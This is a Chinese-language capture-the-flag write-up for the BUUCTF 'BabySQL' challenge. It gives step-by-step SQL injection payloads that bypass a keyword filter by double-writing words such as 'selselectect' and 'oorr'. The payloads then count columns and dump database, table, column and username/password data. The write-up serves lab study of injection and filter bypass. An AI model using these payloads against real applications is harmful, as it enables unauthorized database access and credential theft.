BUUCTF之[极客大挑战 2019]BabySQL 解决方法

BUUCTF之[极客大挑战 2019]BabySQL 解决方法

启动我们的挑战项目

emmmmm这是第三个SQL注入，应该难度又提高了一些。先试试我们的万能密码：1’ or 1=1 #

不行，报错了。而且我也看不出报错的信息是什么

然后返回前面的题目看看提示信息，觉得可能这题是加了一些过滤信息

所以我们试试双写看看能不能绕过防御，并且把最后面的 # 号改成 %23。
所以我们的payload为：1’ oorr 1=1 %23

发现可以获取到信息，说明我们这个方法是正确的！

然后我们再进行用order by来获取有多少列，发现order和by这些关键词都被过滤掉了。另外经过测试，发现被过滤掉的关键词还有：select ,and ,or where ,from。所以我们的payload想要考虑到双写这些关键词就可以了。并且我在测试的时候发现双写关键词的时候最好把它包裹起来。比如想要双写select的时候，则要应该写成selselectect。这样子，当过滤机制过滤掉中间的select的时候，剩下的左右两边又会组合成一个新的select。
现在我们开始测试有多少列：
1’ oorrder bbyy 3 %23 回显正常
1’ oorrder bbyy 4 %23 返回报错


这说明只有3列，然后试试：-1’ ununionion selselectect 1,2,3 。看看返回的是第几列的信息

现在开始爆破数据库名：-1’ ununionion selselectect 1,database(),3

然后开始爆破表名：-1’ ununionion selselectect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),3

然后再爆破列名：-1’ ununionion selselectect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name=‘b4bsql’),3

然后获取b4bsql下的username和password信息：-1’ uniunionon selselectect 1,(selselectect group_concat(username," : ",passwoorrd) frfromom b4bsql),3。注意这里的password是包含着or的，所以应该把password写成passwoorrd

到这里就可以拿到我们的flag值了。这次的SQL注入确实是比前两次的难一些了~~~